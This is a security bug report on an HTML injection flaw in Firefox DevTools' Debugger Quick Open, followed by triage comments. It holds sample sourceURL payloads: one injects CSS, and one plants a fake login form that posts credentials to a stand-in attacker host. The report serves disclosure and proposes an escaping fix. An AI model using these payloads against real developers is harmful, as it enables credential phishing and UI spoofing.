DevTools Quick Open HTML Injection via sourceURL
Categories
(DevTools :: Debugger, defect)
Tracking
(Not tracked)
People
(Reporter: t.satoki111, Unassigned)
Details
(Keywords: reporter-external, sec-moderate, Whiteboard: [client-bounty-form])
Attachments
(3 files)
Summary
A HTML injection vulnerability exists in Firefox DevTools' Debugger Quick Open feature (Ctrl+P). An attacker can inject arbitrary HTML into the Quick Open search results by crafting a JavaScript //# sourceURL= directive containing HTML payloads.
Impact
- Component: DevTools Debugger - Quick Open Modal
- Affected Versions: Firefox 150.0a1 (latest trunk) and current stable releases
- Severity: sec-high (HTML/CSS injection in DevTools privileged context)
- CWE: CWE-79 (Cross-site Scripting), CWE-116 (Improper Encoding or Escaping of Output)
Vulnerability Details
Root Cause
In devtools/client/debugger/src/components/QuickOpenModal.js, the renderHighlight() method (lines 394-408) renders the output of fuzzaldrin-plus.wrap() via React's dangerouslySetInnerHTML without any HTML escaping of the input string.
// QuickOpenModal.js:394-408
renderHighlight(candidateString, query) {
const options = {
wrap: {
tagOpen: '<mark class="highlight">',
tagClose: "</mark>",
},
};
const html = fuzzyAldrin.wrap(candidateString, query, options);
return div({
dangerouslySetInnerHTML: {
__html: html, // No HTML escaping!
},
});
}
Data Flow (Attack Path)
- Attacker places a script with
//# sourceURL=malicious<html>payload.json their webpage - The
sourceURLvalue is stored in the DevTools source list as the source's display name - The source name flows through
getDisplayURL().filename->getRawSourceURL()->shortNamewithout any sanitization - When Quick Open search runs,
formatSourceForList()setstitle: source.shortName highlightMatching()callsrenderHighlight(result.title, ...)fuzzaldrin.wrap()wraps matched characters in<mark>tags but outputs unmatched characters without HTML escaping- The result is inserted into the DOM via
dangerouslySetInnerHTML
Affected Files
| File | Lines | Issue |
|---|---|---|
devtools/client/debugger/src/components/QuickOpenModal.js |
394-408 | dangerouslySetInnerHTML with unsanitized input |
devtools/client/shared/vendor/fuzzaldrin-plus.js |
194-236 | wrap() does not HTML-escape input |
devtools/client/debugger/src/utils/quick-open.js |
54-76 | shortName used without escaping |
devtools/client/debugger/src/client/firefox/create.js |
276-278 | shortName generated without escaping |
CSP Mitigation
The DevTools Debugger page has the following CSP:
default-src chrome:; style-src chrome: 'unsafe-inline';
- Inline script execution: Blocked (
<svg onload=...>,<script>..., etc.) - CSS injection: Possible (
style-src 'unsafe-inline'allows inline styles) - HTML element injection: Possible (forms, divs, imgs, etc. can be inserted)
- DOM clobbering: Possible (overwriting JavaScript globals via element IDs)
Exploitation Scenarios
Scenario 1: CSS Injection for DevTools UI Manipulation
An attacker can inject <style> tags to completely alter the DevTools UI appearance. The CSP allows inline styles via style-src 'unsafe-inline'.
//# sourceURL=legit-file<style>*{background:red !important}</style>.js
Scenario 2: Form Injection for Credential Phishing
Display a fake authentication form within DevTools to steal developer credentials.
//# sourceURL=legit-config<form action="https://attacker.com/steal"><input name="u" placeholder="Username"><input name="p" type="password"><button>Login</button></form>.js
Scenario 3: Visual Spoofing
Display fake error messages or warnings to trick developers into taking incorrect actions.
Scenario 4: DOM Clobbering
Inject elements with specific id attributes to overwrite DevTools JavaScript globals, potentially causing unexpected behavior.
Scenario 5: Future CSP Relaxation
If the CSP is ever relaxed (e.g., adding img-src https:), CSS-based data exfiltration or script gadget exploitation could enable full script execution.
Reproduction Steps
- Start
poc_server.py:python3 poc_server.py - Open
http://localhost:8080/poc.htmlin Firefox - Open DevTools (F12)
- Switch to the Debugger tab
- Press Ctrl+P to open Quick Open modal
- Type "legit" in the search box
- Observe injected HTML rendering in search results
Suggested Fix
HTML-escape the input to fuzzaldrin.wrap() in renderHighlight():
function escapeHtml(str) {
return str.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}
renderHighlight(candidateString, query) {
const escaped = escapeHtml(candidateString);
const options = { ... };
const html = fuzzyAldrin.wrap(escaped, query, options);
// ...
}
Alternatively, avoid using dangerouslySetInnerHTML entirely and use React's safe textContent-based rendering with separate <mark> components for highlighted portions.
| Reporter | ||
Comment 1•7 months ago
|
||
Updated•7 months ago
|
Comment 3•7 months ago
|
||
It doesn't look like you needed the python server for this testcase. Attach POCs directly to the bug when possible. Unless they are multi-file complicated things or require special headers to be sent it makes testing and verification 100% easier.
Comment 4•7 months ago
|
||
We are awarding a split bounty between this and bug 2023753 which were both filed within our collision window.
Updated•3 months ago
|
Updated•2 months ago
|
Description
•